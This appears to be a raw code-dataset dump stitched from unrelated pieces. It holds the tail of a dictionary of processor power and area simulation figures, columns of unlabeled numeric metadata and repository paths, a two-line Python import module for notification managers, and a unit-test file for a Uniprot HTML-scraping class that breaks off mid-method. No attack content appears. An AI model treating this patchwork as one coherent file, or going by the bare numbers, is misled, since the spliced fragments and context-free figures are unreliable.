Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788, 'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 0.12681, 'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.00931944, 'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698, 'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968, 'Execution Unit/Register Files/Gate Leakage': 0.000622708, 'Execution Unit/Register Files/Integer RF/Area': 0.362673, 'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992, 'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.105402, 'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.068923, 'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175, 'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675, 'Execution Unit/Register Files/Peak Dynamic': 0.232211, 'Execution Unit/Register Files/Runtime Dynamic': 0.0782424, 'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387, 'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643, 'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0390912, 'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00537402, 'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.249544, 'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 0.629145, 'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.081478, 'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0305543, 'Execution Unit/Runtime Dynamic': 2.16327, 'Execution Unit/Subthreshold Leakage': 1.79543, 'Execution Unit/Subthreshold Leakage with power gating': 0.688821, 'Gate Leakage': 0.368936, 'Instruction Fetch Unit/Area': 5.85939, 'Instruction Fetch Unit/Branch Predictor/Area': 0.138516, 'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221, 'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362, 'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831, 'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 0.00024015, 'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719, 'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236, 'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 0.00024015, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 0.000210229, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 8.19622e-05, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045, 'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838, 'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732, 'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05, 'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602, 'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.000990084, 'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505, 'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733, 'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.00168061, 'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703, 'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282, 'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954, 'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758, 'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867, 'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.00226472, 'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682, 'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357, 'Instruction Fetch Unit/Gate Leakage': 0.0589979, 'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323, 'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05, 'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827, 'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.0662574, 'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885, 'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682, 'Instruction Fetch Unit/Instruction Cache/Area': 3.14635, 'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931, 'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 4.21454, 'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.164, 'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022, 'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386, 'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799, 'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493, 'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404, 'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.22504, 'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943, 'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104, 'Instruction Fetch Unit/Peak Dynamic': 6.6376, 'Instruction Fetch Unit/Runtime Dynamic': 0.459243, 'Instruction Fetch Unit/Subthreshold Leakage': 0.932286, 'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.40843, 'L2/Area': 4.53318, 'L2/Gate Leakage': 0.015464, 'L2/Peak Dynamic': 0.0454067, 'L2/Runtime Dynamic': 0.0112256, 'L2/Subthreshold Leakage': 0.834142, 'L2/Subthreshold Leakage with power gating': 0.401066, 'Load Store Unit/Area': 8.80901, 'Load Store Unit/Data Cache/Area': 6.84535, 'Load Store Unit/Data Cache/Gate Leakage': 0.0279261, 'Load Store Unit/Data Cache/Peak Dynamic': 3.71468, 'Load Store Unit/Data Cache/Runtime Dynamic': 1.20251, 'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675, 'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085, 'Load Store Unit/Gate Leakage': 0.0350888, 'Load Store Unit/LoadQ/Area': 0.0836782, 'Load Store Unit/LoadQ/Gate Leakage': 0.00059896, 'Load Store Unit/LoadQ/Peak Dynamic': 0.0801549, 'Load Store Unit/LoadQ/Runtime Dynamic': 0.0801548, 'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961, 'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918, 'Load Store Unit/Peak Dynamic': 4.09319, 'Load Store Unit/Runtime Dynamic': 1.67796, 'Load Store Unit/StoreQ/Area': 0.322079, 'Load Store Unit/StoreQ/Gate Leakage': 0.00329971, 'Load Store Unit/StoreQ/Peak Dynamic': 0.197648, 'Load Store Unit/StoreQ/Runtime Dynamic': 0.395296, 'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621, 'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004, 'Load Store Unit/Subthreshold Leakage': 0.591321, 'Load Store Unit/Subthreshold Leakage with power gating': 0.283293, 'Memory Management Unit/Area': 0.4339, 'Memory Management Unit/Dtlb/Area': 0.0879726, 'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729, 'Memory Management Unit/Dtlb/Peak Dynamic': 0.070146, 'Memory Management Unit/Dtlb/Runtime Dynamic': 0.0708131, 'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699, 'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485, 'Memory Management Unit/Gate Leakage': 0.00808595, 'Memory Management Unit/Itlb/Area': 0.301552, 'Memory Management Unit/Itlb/Gate Leakage': 0.00393464, 'Memory Management Unit/Itlb/Peak Dynamic': 0.262045, 'Memory Management Unit/Itlb/Runtime Dynamic': 0.026929, 'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758, 'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842, 'Memory Management Unit/Peak Dynamic': 0.538652, 'Memory Management Unit/Runtime Dynamic': 0.0977421, 'Memory Management Unit/Subthreshold Leakage': 0.0766103, 'Memory Management Unit/Subthreshold Leakage with power gating': 0.0398333, 'Peak Dynamic': 20.1614, 'Renaming Unit/Area': 0.303608, 'Renaming Unit/FP Front End RAT/Area': 0.131045, 'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00351123, 'Renaming Unit/FP Front End RAT/Peak Dynamic': 2.51468, 'Renaming Unit/FP Front End RAT/Runtime Dynamic': 0.333578, 'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0308571, 'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.0175885, 'Renaming Unit/Free List/Area': 0.0340654, 'Renaming Unit/Free List/Gate Leakage': 2.5481e-05, 'Renaming Unit/Free List/Peak Dynamic': 0.0306032, 'Renaming Unit/Free List/Runtime Dynamic': 0.014084, 'Renaming Unit/Free List/Subthreshold Leakage': 0.000370144, 'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000201064, 'Renaming Unit/Gate Leakage': 0.00708398, 'Renaming Unit/Int Front End RAT/Area': 0.0941223, 'Renaming Unit/Int Front End RAT/Gate Leakage': 0.000283242, 'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.731965, 'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.106949, 'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00435488, 'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00248228, 'Renaming Unit/Peak Dynamic': 3.58947, 'Renaming Unit/Runtime Dynamic': 0.454612, 'Renaming Unit/Subthreshold Leakage': 0.0552466, 'Renaming Unit/Subthreshold Leakage with power gating': 0.0276461, 'Runtime Dynamic': 4.86405, 'Subthreshold Leakage': 6.16288, 'Subthreshold Leakage with power gating': 2.55328}], 'DRAM': {'Area': 0, 'Gate Leakage': 0, 'Peak Dynamic': 1.773078150532255, 'Runtime Dynamic': 1.773078150532255, 'Subthreshold Leakage': 4.252, 'Subthreshold Leakage with power gating': 4.252}, 'L3': [{'Area': 61.9075, 'Gate Leakage': 0.0484137, 'Peak Dynamic': 0.202966, 'Runtime Dynamic': 0.107624, 'Subthreshold Leakage': 6.80085, 'Subthreshold Leakage with power gating': 3.32364}], 'Processor': {'Area': 191.908, 'Gate Leakage': 1.53485, 'Peak Dynamic': 96.7398, 'Peak Power': 129.852, 'Runtime Dynamic': 29.8688, 'Subthreshold Leakage': 31.5774, 'Subthreshold Leakage with power gating': 13.9484, 'Total Cores/Area': 128.669, 'Total Cores/Gate Leakage': 1.4798, 'Total Cores/Peak Dynamic': 96.5368, 'Total Cores/Runtime Dynamic': 29.7611, 'Total Cores/Subthreshold Leakage': 24.7074, 'Total Cores/Subthreshold Leakage with power gating': 10.2429, 'Total L3s/Area': 61.9075, 'Total L3s/Gate Leakage': 0.0484137, 'Total L3s/Peak Dynamic': 0.202966, 'Total L3s/Runtime Dynamic': 0.107624, 'Total L3s/Subthreshold Leakage': 6.80085, 'Total L3s/Subthreshold Leakage with power gating': 3.32364, 'Total Leakage': 33.1122, 'Total NoCs/Area': 1.33155, 'Total NoCs/Gate Leakage': 0.00662954, 'Total NoCs/Peak Dynamic': 0.0, 'Total NoCs/Runtime Dynamic': 0.0, 'Total NoCs/Subthreshold Leakage': 0.0691322, 'Total NoCs/Subthreshold Leakage with power gating': 0.0259246}}
75.02954
124
0.68192
8,083
68,577
5.779537
0.067673
0.123641
0.113023
0.093501
0.939186
0.931158
0.918508
0.885029
0.861311
0.842859
0
0.131388
0.224434
68,577
914
125
75.02954
0.746963
0
0
0.642232
0
0
0.657718
0.04812
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
34dffc6976b862267df4cda83ca05573b9bc0926
173
py
Python
src/spaceone/notification/manager/__init__.py
jihyungSong/plugin-voicecall-notification-protocol
11a90d8a44d492004ea83465c572809d693416d0
[ "Apache-2.0" ]
1
2021-06-06T14:04:30.000Z
2021-06-06T14:04:30.000Z
src/spaceone/notification/manager/__init__.py
jihyungSong/plugin-voicecall-notification-protocol
11a90d8a44d492004ea83465c572809d693416d0
[ "Apache-2.0" ]
null
null
null
src/spaceone/notification/manager/__init__.py
jihyungSong/plugin-voicecall-notification-protocol
11a90d8a44d492004ea83465c572809d693416d0
[ "Apache-2.0" ]
1
2021-06-06T14:04:32.000Z
2021-06-06T14:04:32.000Z
from spaceone.notification.manager.notification_manager import NotificationManager from spaceone.notification.manager.megazone_voice_manager import MegazoneVoiceCallManager
57.666667
89
0.919075
17
173
9.176471
0.529412
0.365385
0.307692
0.397436
0
0
0
0
0
0
0
0
0.046243
173
2
90
86.5
0.945455
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8
34e27a288f64858a491f66f766de22baa71be410
26,191
py
Python
testing/Uniprot_tests.py
denkovarik/EC-Scrape
e6340fe852b204f4813ec6ede4d20138a85644b6
[ "MIT" ]
null
null
null
testing/Uniprot_tests.py
denkovarik/EC-Scrape
e6340fe852b204f4813ec6ede4d20138a85644b6
[ "MIT" ]
null
null
null
testing/Uniprot_tests.py
denkovarik/EC-Scrape
e6340fe852b204f4813ec6ede4d20138a85644b6
[ "MIT" ]
null
null
null
import unittest import os, io, sys, inspect currentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe()))) parentdir = os.path.dirname(currentdir) sys.path.insert(0, parentdir) from classes.Uniprot import * class Uniprot_tests(unittest.TestCase): """ Runs all tests for the Uniprot class. """ def test_get_organism(self): """ Tests the Uniprot class member function 'get_organism()' on its ability to extract the source organism from a row. :param self: An instance of the Uniprot_tests class """ db = Uniprot() path = currentdir + '\\test_files\\iterator_test.htm' with open(path) as f: content = f.read() f.close() itr = Results_Itr(content) # Test calling Results_Itr class member function begin() itr.begin() itr.__next__() protein_names = itr.get_organism(itr.cur_row) expected = 'Geobacillus sp. WSUCF-018B' self.assertTrue(protein_names == expected) # Testing with Python's iter built-in function db = Uniprot() db.content = content db.result_itr = Results_Itr(content) itr = iter(db.result_itr) itr.begin() itr.__next__() protein_names = itr.get_organism(itr.cur_row) self.assertTrue(protein_names == expected) def test_bug_fix2(self): """ Tests the bug fix where html tags are being included it the text that is being scraped from Uniprot. :param self: An instance of the Uniprot_tests class """ path = currentdir + "\\test_files\\carbonic_anhydrase_.htm" self.assertTrue(os.path.isfile(path)) with open(path) as f: content = f.read() db = Uniprot() db.content = content db.results_itr = Results_Itr(content) itr = iter(db) features = next(itr) proteins = "Carbonic anhydrase 6, EC 4.2.1.1 (Carbonate dehydratase VI) (Carbonic anhydrase VI, CA-VI) (Salivary carbonic anhydrase) (Secreted carbonic anhydrase)" self.assertTrue(features['protein names'] == proteins) f.close() def test_bug_fix1(self): """ Tests the bug fix where iterator doesn't start all the way at the beginning with .begin() is called. :param self: An instance of the Uniprot_tests class """ db = Uniprot() path = currentdir + '\\test_files\\iterator_test.htm' self.assertTrue(os.path.isfile(path)) with open(path) as f: content = f.read() f.close() db.content = content db.results_itr = Results_Itr(content) itr = iter(db) features = next(itr) self.assertTrue(features['id'] == 'A0A2M9T2M7') proteins = 'GNAT family N-acetyltransferase, EC 2.3.1.1' self.assertTrue(features['protein names'] == proteins) features = next(itr) self.assertTrue(features['id'] == 'A0A2Z3N999') proteins = 'GNAT family N-acetyltransferase' self.assertTrue(features['protein names'] == proteins) itr.begin() features = next(itr) self.assertTrue(features['id'] == 'A0A2M9T2M7') proteins = 'GNAT family N-acetyltransferase, EC 2.3.1.1' self.assertTrue(features['protein names'] == proteins) def test_extract_features(self): """ Tests the Uniprot class Results_Itr member function 'extract_features()' on its ability to extract the features from a row from the results table returned from a query on Uniprot. :param self: An instance of the Unprot_tests class. :param row: A row from the results table in the html file as a String """ db = Uniprot() path = currentdir + '\\test_files\\iterator_test.htm' with open(path) as f: content = f.read() f.close() itr = Results_Itr(content) # Testing first row # Function 'extract_features()' called in Results_Itr class function # 'begin()' itr.__next__() self.assertTrue(itr.features['id'] == 'A0A2M9T2M7') proteins = 'GNAT family N-acetyltransferase, EC 2.3.1.1' self.assertTrue(itr.features['protein names'] == proteins) org = 'Geobacillus sp. WSUCF-018B' self.assertTrue(itr.features['organism'] == org) # Iterate to the next result. # Function 'extract_features()' called in Results_Itr class function # '__next__()' itr.__next__() self.assertTrue(itr.features['id'] == 'A0A2Z3N999') proteins = 'GNAT family N-acetyltransferase' self.assertTrue(itr.features['protein names'] == proteins) org = 'Geobacillus thermoleovorans (Bacillus thermoleovorans)' self.assertTrue(itr.features['organism'] == org) # Testing with Python's iter built-in function db = Uniprot() db.content = content db.result_itr = Results_Itr(content) itr = iter(db.result_itr) next(itr) self.assertTrue(itr.features['id'] == 'A0A2M9T2M7') proteins = 'GNAT family N-acetyltransferase, EC 2.3.1.1' self.assertTrue(itr.features['protein names'] == proteins) org = 'Geobacillus sp. WSUCF-018B' self.assertTrue(itr.features['organism'] == org) next(itr) self.assertTrue(itr.features['id'] == 'A0A2Z3N999') proteins = 'GNAT family N-acetyltransferase' self.assertTrue(itr.features['protein names'] == proteins) org = 'Geobacillus thermoleovorans (Bacillus thermoleovorans)' self.assertTrue(itr.features['organism'] == org) def test_get_protein_name_short(self): """ Tests the Uniprot class Results_Itr member function 'get_protein_name_short()' on its ability to identify and return the short version of the proteinname found in a row from the results table returned from a query on Uniprot. :param self: An instance of the Unprot_tests class. :param row: A row from the results table in the html file as a String """ db = Uniprot() path = currentdir + '\\test_files\\iterator_test.htm' with open(path) as f: content = f.read() f.close() itr = Results_Itr(content) # Test calling Results_Itr class member function begin() itr.begin() itr.__next__() protein_names = itr.get_protein_name_short(itr.cur_row) expected = 'GNAT family N-acetyltransferase' self.assertTrue(protein_names == expected) # Testing with Python's iter built-in function db = Uniprot() db.content = content db.result_itr = Results_Itr(content) itr = iter(db.result_itr) itr.begin() itr.__next__() protein_names = itr.get_protein_name_short(itr.cur_row) self.assertTrue(protein_names == expected) def test_get_protein_names(self): """ Tests the Uniprot class Results_Itr member function 'get_protein_names()' on its ability to identify and return the protein names found in a row from the results table returned from a query on Uniprot. :param self: An instance of the Unprot_tests class. :param row: A row from the results table in the html file as a String """ db = Uniprot() path = currentdir + '\\test_files\\iterator_test.htm' with open(path) as f: content = f.read() f.close() itr = Results_Itr(content) # Test calling Results_Itr class member function begin() itr.begin() itr.__next__() protein_names = itr.get_protein_names(itr.cur_row) expected = 'GNAT family N-acetyltransferase, EC 2.3.1.1' self.assertTrue(protein_names == expected) # Testing with Python's iter built-in function db = Uniprot() db.content = content db.result_itr = Results_Itr(content) itr = iter(db.result_itr) itr.begin() itr.__next__() protein_names = itr.get_protein_names(itr.cur_row) self.assertTrue(protein_names == expected) def test_get_entry_id(self): """ Tests the Uniprot class Results_Itr member function 'get_entry_id()' on its ability to identify and return the entry id found in a row from the results table returned from a query on Uniprot. :param self: An instance of the Unprot_tests class. :param row: A row from the results table in the html file as a String """ db = Uniprot() path = currentdir + '\\test_files\\iterator_test.htm' with open(path) as f: content = f.read() f.close() itr = Results_Itr(content) # Test calling Results_Itr class member function begin() itr.begin() itr.__next__() self.assertTrue(itr.get_entry_id(itr.cur_row) == 'A0A2M9T2M7') # Testing with Python's iter built-in function db = Uniprot() db.content = content db.result_itr = Results_Itr(content) itr = iter(db.result_itr) itr.begin() itr.__next__() self.assertTrue(itr.get_entry_id(itr.cur_row) == 'A0A2M9T2M7') def test_Result_Itr_next(self): """ Tests the Uniprot class Results_Itr member function __next__() on its ability to identify the beginning of the results returned from a query on Uniprot. :param self: An instance of the Unprot_tests class. """ db = Uniprot() path = currentdir + '\\test_files\\iterator_test.htm' with open(path) as f: content = f.read() f.close() itr = Results_Itr(content) # Test calling Results_Itr class member function begin() itr.begin() itr.__next__() #itr.__next__() cur_expected = '<tr id="A0A2M9T2M7" class=" entry selected-row"><td class="checkboxColumn"><input class="basket-item namespace-uniprot" id="checkbox_A0A2M9T2M7" type="checkbox"/></td><td class="entryID"><a href="/uniprot/A0A2M9T2M7">A0A2M9T2M7</a></td><td>A0A2M9T2M7_9BACI</td><td class="centered"><div title="Unreviewed (TrEMBL)" class="tooltipped icon-uniprot unreviewed-icon" data-icon="t"></div></td><td><div class="protein_names"><div class="short" title="GNAT family N-acetyltransferase" style="display:none;">GNAT family N-acetyltransferase</div><div class="long">GNAT family N-acetyltransferase, EC 2.3.1.1 </div></div></td><td><div class="gene-names"><span class="shortName"> CV944_10475 </span></div></td><td><a href="/taxonomy/2055939">Geobacillus sp. WSUCF-018B</a></td><td class="number">150</td><td class="addRemoveColumn mid"/></tr>' self.assertTrue(itr.cur_row == cur_expected) # Testing with Python's iter built-in function db = Uniprot() db.content = content db.results_itr = Results_Itr(content) itr = iter(db.results_itr) itr.begin() row = next(itr) self.assertTrue(itr.cur_row == cur_expected) num_results = 0 db = Uniprot() db.content = content db.results_itr = Results_Itr(content) itr = iter(db.results_itr) for row in db.results_itr: num_results += 1 self.assertTrue(num_results == 25) def test_Results_Itr_int(self): """ Tests the initalization of the Uniprot class Results_Itr. :param self: An instance of the Unprot_tests class. """ path = currentdir + '\\test_files\\iterator_test.htm' with open(path) as f: content = f.read() itr = Results_Itr(content) # Testing default initialization self.assertTrue(itr.row == content) self.assertTrue(itr.end == False) f.close() # Testing with Python's iter built-in function db = Uniprot() db.content = content db.result_itr = Results_Itr(content) itr = iter(db.result_itr) self.assertTrue(itr.row == content) self.assertTrue(itr.end == False) def test_Results_Itr_begin(self): """ Tests the Uniprot class Results_Itr member function begin on its ability to identify the beginning of the results returned from a query on Uniprot. :param self: An instance of the Unprot_tests class. """ db = Uniprot() path = currentdir + '\\test_files\\iterator_test.htm' with open(path) as f: content = f.read() itr = Results_Itr(content) # Test calling Results_Itr class member function begin() itr.begin() itr.__next__() self.assertTrue(itr.start_pos == 70333) self.assertTrue(itr.end_pos == 71164) cur_expected = '<tr id="A0A2M9T2M7" class=" entry selected-row"><td class="checkboxColumn"><input class="basket-item namespace-uniprot" id="checkbox_A0A2M9T2M7" type="checkbox"/></td><td class="entryID"><a href="/uniprot/A0A2M9T2M7">A0A2M9T2M7</a></td><td>A0A2M9T2M7_9BACI</td><td class="centered"><div title="Unreviewed (TrEMBL)" class="tooltipped icon-uniprot unreviewed-icon" data-icon="t"></div></td><td><div class="protein_names"><div class="short" title="GNAT family N-acetyltransferase" style="display:none;">GNAT family N-acetyltransferase</div><div class="long">GNAT family N-acetyltransferase, EC 2.3.1.1 </div></div></td><td><div class="gene-names"><span class="shortName"> CV944_10475 </span></div></td><td><a href="/taxonomy/2055939">Geobacillus sp. WSUCF-018B</a></td><td class="number">150</td><td class="addRemoveColumn mid"/></tr>' self.assertTrue(itr.cur_row == cur_expected) f.close() # Testing with Python's iter built-in function db = Uniprot() db.content = content db.results_itr = Results_Itr(content) itr = iter(db.results_itr) itr.begin() next(itr) self.assertTrue(itr.start_pos == 70333) self.assertTrue(itr.end_pos == 71164) def test_results_found(self): """ Tests the Uniprot class member function 'results_found()' on its ability to determine if results were returned from a query on Uniprot. :param self: An instance of the Unprot_tests class. """ db = Uniprot() no_results_file = currentdir + "\\test_files\\no_results_found.htm" results_file = currentdir + "\\test_files\\results_found.htm" # Testing no results found with open(no_results_file) as f: content = f.read() self.assertFalse(db.results_found(content)) f.close() # Testing on results found with open(results_file) as f: content = f.read() self.assertTrue(db.results_found(content)) f.close() def test_make_request(self): """ Tests the Uniprot class member function 'make_request()' on its ability to make a request for the .html file for the Uniprot search results. :param self: An instance of the Unprot_tests class. """ db = Uniprot() # Testing valid request url = 'https://www.uniprot.org/uniprot/?query=' url += '"gnat+family+n-acetyltransferase"+"geobacillus"&sort=score' status, content = db.make_request(url) self.assertTrue(status == 200) def test_build_query(self): """ Tests the Uniprot class member function 'build_query()' on its ability to create the url for the Uniprot query from the search terms given. :param self: An instance of the Unprot_tests class. """ db = Uniprot() # Testing for protein 'gnat family n-acetyltransferase' and organism # 'geobacillus' protein_name = "gnat family n-acetyltransferase" organism = "geobacillus" ####################################################################### # Testing field 'All' for protein and field 'All' for organism protein_field = "All" organism_field = "All" condition = "AND" search_terms = [ (protein_field, protein_name, condition), (organism_field, organism), ] expected = 'https://www.uniprot.org/uniprot/?query="gnat+family' expected += '+n-acetyltransferase"+"geobacillus"&sort=score' url = db.build_query(search_terms) self.assertTrue(url == expected) # Testing field reviewed for reviewed and field 'All' for protein and # field 'All' for organism protein_field = "All" organism_field = "All" condition = "AND" search_terms = [ (protein_field, protein_name, condition), (organism_field, organism), ("Reviewed", "Reviewed"), ] expected = 'https://www.uniprot.org/uniprot/?query=' expected += '"gnat+family+n-acetyltransferase"+"geobacillus"' expected += '+reviewed%3Ayes&sort=score' url = db.build_query(search_terms) self.assertTrue(url == expected) # Testing field 'Protein name' for protein and field 'All' for organism protein_field = "Protein name" organism_field = "All" search_terms = [ (protein_field, protein_name), (organism_field, organism), ] expected = 'https://www.uniprot.org/uniprot/?query=name%3A"gnat+family' expected += '+n-acetyltransferase"+"geobacillus"&sort=score' url = db.build_query(search_terms) self.assertTrue(url == expected) # Testing field 'All' for protein and field 'Organism' for organism protein_field = "All" organism_field = "Organism" search_terms = [ (protein_field, protein_name), (organism_field, organism), ] expected = 'https://www.uniprot.org/uniprot/?query="gnat+family' expected += '+n-acetyltransferase"+organism%3A"geobacillus"&sort=score' url = db.build_query(search_terms) self.assertTrue(url == expected) # Testing field 'Protein name' for protein and field 'Organism' for # organism protein_field = "Protein name" organism_field = "Organism" search_terms = [ (protein_field, protein_name), (organism_field, organism), ] expected = 'https://www.uniprot.org/uniprot/?query=name%3A"gnat' expected += '+family+n-acetyltransferase"+organism%3A"geobacillus"' expected += '&sort=score' url = db.build_query(search_terms) self.assertTrue(url == expected) ####################################################################### def test_build_query_error_checking(self): """ Tests the Uniprot class member function 'build_query()' on its ability to perform error checking on the search terms passed into the function. :param self: An instance of the Unprot_tests class. """ # Testing correct types. Expect no exception. db = Uniprot() try: search_terms = [ ("All", "gnat family n-acetyltransferase"), ("All", "geobacillus"), ] db.build_query(search_terms) self.assertTrue(True) except: self.assertTrue(False) # Testing incorrect type of search_terms parameter. Expect exception. error = False try: search_terms = set(( ("All", "gnat family n-acetyltransferase"), ("All", "geobacillus"), )) db.build_query(search_terms) error = False except: error = True finally: if not error: self.assertTrue(False) else: self.assertTrue(True) # Testing incorrect types for elements of search_terms list. # Expect exception. error = False try: search_terms = [ ("All", "gnat family n-acetyltransferase"), ["All", "geobacillus"], ] db.build_query(search_terms) error = False except: error = True finally: if not error: self.assertTrue(False) else: self.assertTrue(True) # Testing incorrect types for elements in tuples for elements of # search_terms list. Expect exception. error = False try: search_terms = [ ("All", "gnat family n-acetyltransferase"), ("All", 1), ] db.build_query(search_terms) error = False except: error = True finally: if not error: self.assertTrue(False) else: self.assertTrue(True) # Testing empty list for search_terms parameter. Expect exception. error = False try: search_terms = [] db.build_query(search_terms) error = False except: error = True finally: if not error: self.assertTrue(False) else: self.assertTrue(True) def test_execution(self): """ Tests the ability of the Uniprot_tests class to run a test. :param self: An instance of the Unprot_tests class. """ self.assertTrue(True) def test_field_supported(self): """ Tests the function field_supported() on its ability to perform determine which search fields are supported for Uniprot. :param self: An instance of the Unprot_tests class. """ # Testing supported fields search_terms = [ ("All", "gnat family n-acetyltransferase"), ("Protein name", "gnat family n-acetyltransferase"), ("Organism", "geobacillus"), ("Reviewed", "Reviewed"), ] # Testing field 'All' self.assertTrue(Uniprot.field_supported(search_terms[0][0])[0]) # Testing field 'Protein name' self.assertTrue(Uniprot.field_supported(search_terms[1][0])[0]) # Testing field 'Organism' self.assertTrue(Uniprot.field_supported(search_terms[2][0])[0]) # Testing field 'Reviewed' 